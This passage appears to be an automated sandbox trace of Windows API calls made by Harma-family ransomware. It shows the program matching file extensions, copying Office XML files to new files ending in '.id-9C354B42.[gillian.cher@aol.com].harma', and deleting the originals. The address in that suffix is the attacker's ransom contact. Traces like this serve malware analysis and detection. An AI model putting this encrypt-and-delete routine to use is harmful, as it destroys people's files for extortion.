Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.386] lstrlenW (lpString=".1cd") returned 4 [0052.386] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.386] lstrlenW (lpString=".jpg") returned 4 [0052.386] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.386] lstrlenW (lpString=".doc") returned 4 [0052.386] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString=".docx") returned 5 [0052.386] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.386] lstrlenW (lpString=".pdf") returned 4 [0052.386] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString=".xls") returned 4 [0052.386] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString=".xlsx") returned 5 [0052.386] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.386] lstrlenW (lpString=".ppt") returned 4 [0052.386] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.386] lstrlenW (lpString=".zip") returned 4 [0052.386] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.386] lstrlenW (lpString=".rar") returned 4 [0052.386] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString=".bz2") returned 4 [0052.386] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString=".7z") returned 3 [0052.387] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.387] lstrlenW (lpString=".dbf") returned 4 [0052.387] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.387] lstrlenW (lpString=".1cd") returned 4 [0052.387] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.387] lstrlenW (lpString=".jpg") returned 4 [0052.387] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.387] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.387] lstrlenW (lpString="Proofing.XML") returned 12 [0052.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.406] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=811) returned 1 [0052.406] CloseHandle (hObject=0x1f4) returned 1 [0052.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0052.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.406] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.407] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.407] GetLastError () returned 0x0 [0052.407] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x32b, lpOverlapped=0x0) returned 1 [0052.409] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x330, lpOverlapped=0x0) returned 1 [0052.409] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.410] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.410] SetEndOfFile (hFile=0x1dc) returned 1 [0052.410] CloseHandle (hObject=0x1dc) returned 1 [0052.413] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.413] SetEndOfFile (hFile=0x1f4) returned 1 [0052.414] CloseHandle (hObject=0x1f4) returned 1 [0052.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.414] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0052.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.415] lstrlenW (lpString=".doc") returned 4 [0052.415] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString=".docx") returned 5 [0052.415] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0052.415] lstrlenW (lpString=".pdf") returned 4 [0052.415] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString=".xls") returned 4 [0052.415] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString=".xlsx") returned 5 [0052.415] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0052.415] lstrlenW (lpString=".ppt") returned 4 [0052.415] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.415] lstrlenW (lpString=".zip") returned 4 [0052.415] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.415] lstrlenW (lpString=".rar") returned 4 [0052.415] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString=".bz2") returned 4 [0052.415] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString=".7z") returned 3 [0052.415] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.415] lstrlenW (lpString=".dbf") returned 4 [0052.415] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.415] lstrlenW (lpString=".1cd") returned 4 [0052.415] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.416] lstrlenW (lpString=".jpg") returned 4 [0052.416] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.416] lstrlenW (lpString=".doc") returned 4 [0052.416] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString=".docx") returned 5 [0052.416] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0052.416] lstrlenW (lpString=".pdf") returned 4 [0052.416] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString=".xls") returned 4 [0052.416] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString=".xlsx") returned 5 [0052.416] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0052.416] lstrlenW (lpString=".ppt") returned 4 [0052.416] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.416] lstrlenW (lpString=".zip") returned 4 [0052.416] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.416] lstrlenW (lpString=".rar") returned 4 [0052.416] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString=".bz2") returned 4 [0052.416] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString=".7z") returned 3 [0052.416] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.416] lstrlenW (lpString=".dbf") returned 4 [0052.416] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.416] lstrlenW (lpString=".1cd") returned 4 [0052.417] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0052.417] lstrlenW (lpString=".jpg") returned 4 [0052.417] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.417] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.417] lstrlenW (lpString="SETUP.XML") returned 9 [0052.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.417] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=31094) returned 1 [0052.417] CloseHandle (hObject=0x1f4) returned 1 [0052.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0052.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.418] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.418] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.420] GetLastError () returned 0x0 [0052.420] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x7976, lpOverlapped=0x0) returned 1 [0052.422] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7980, lpOverlapped=0x0) returned 1 [0052.423] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.423] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.423] SetEndOfFile (hFile=0x1dc) returned 1 [0052.423] CloseHandle (hObject=0x1dc) returned 1 [0052.865] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.865] SetEndOfFile (hFile=0x1f4) returned 1 [0052.866] CloseHandle (hObject=0x1f4) returned 1 [0052.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0052.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.866] lstrlenW (lpString=".doc") returned 4 [0052.867] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString=".docx") returned 5 [0052.867] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.867] lstrlenW (lpString=".pdf") returned 4 [0052.867] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString=".xls") returned 4 [0052.867] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString=".xlsx") returned 5 [0052.867] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.867] lstrlenW (lpString=".ppt") returned 4 [0052.867] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.867] lstrlenW (lpString=".zip") returned 4 [0052.867] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.867] lstrlenW (lpString=".rar") returned 4 [0052.867] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString=".bz2") returned 4 [0052.867] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString=".7z") returned 3 [0052.867] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.867] lstrlenW (lpString=".dbf") returned 4 [0052.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.867] lstrlenW (lpString=".1cd") returned 4 [0052.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.867] lstrlenW (lpString=".jpg") returned 4 [0052.867] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.867] lstrlenW (lpString=".doc") returned 4 [0052.868] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString=".docx") returned 5 [0052.868] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.868] lstrlenW (lpString=".pdf") returned 4 [0052.868] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString=".xls") returned 4 [0052.868] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString=".xlsx") returned 5 [0052.868] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.868] lstrlenW (lpString=".ppt") returned 4 [0052.868] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.868] lstrlenW (lpString=".zip") returned 4 [0052.868] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.868] lstrlenW (lpString=".rar") returned 4 [0052.868] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString=".bz2") returned 4 [0052.868] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString=".7z") returned 3 [0052.868] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.868] lstrlenW (lpString=".dbf") returned 4 [0052.868] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.868] lstrlenW (lpString=".1cd") returned 4 [0052.868] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0052.868] lstrlenW (lpString=".jpg") returned 4 [0052.868] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.869] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.869] lstrlenW (lpString="PHONE.XML") returned 9 [0052.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.736] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1844) returned 1 [0054.736] CloseHandle (hObject=0x170) returned 1 [0054.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0054.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.736] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.736] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.737] GetLastError () returned 0x0 [0054.737] ReadFile (in: hFile=0x170, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x734, lpOverlapped=0x0) returned 1 [0054.741] WriteFile (in: hFile=0x1f4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x740, lpOverlapped=0x0) returned 1 [0054.742] ReadFile (in: hFile=0x170, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.742] WriteFile (in: hFile=0x1f4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.742] SetEndOfFile (hFile=0x1f4) returned 1 [0054.742] CloseHandle (hObject=0x1f4) returned 1 [0054.742] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.742] SetEndOfFile (hFile=0x170) returned 1 [0054.743] CloseHandle (hObject=0x170) returned 1 [0054.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0054.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.744] lstrlenW (lpString=".doc") returned 4 [0054.744] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString=".docx") returned 5 [0054.744] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0054.744] lstrlenW (lpString=".pdf") returned 4 [0054.744] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString=".xls") returned 4 [0054.744] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString=".xlsx") returned 5 [0054.744] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0054.744] lstrlenW (lpString=".ppt") returned 4 [0054.744] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.744] 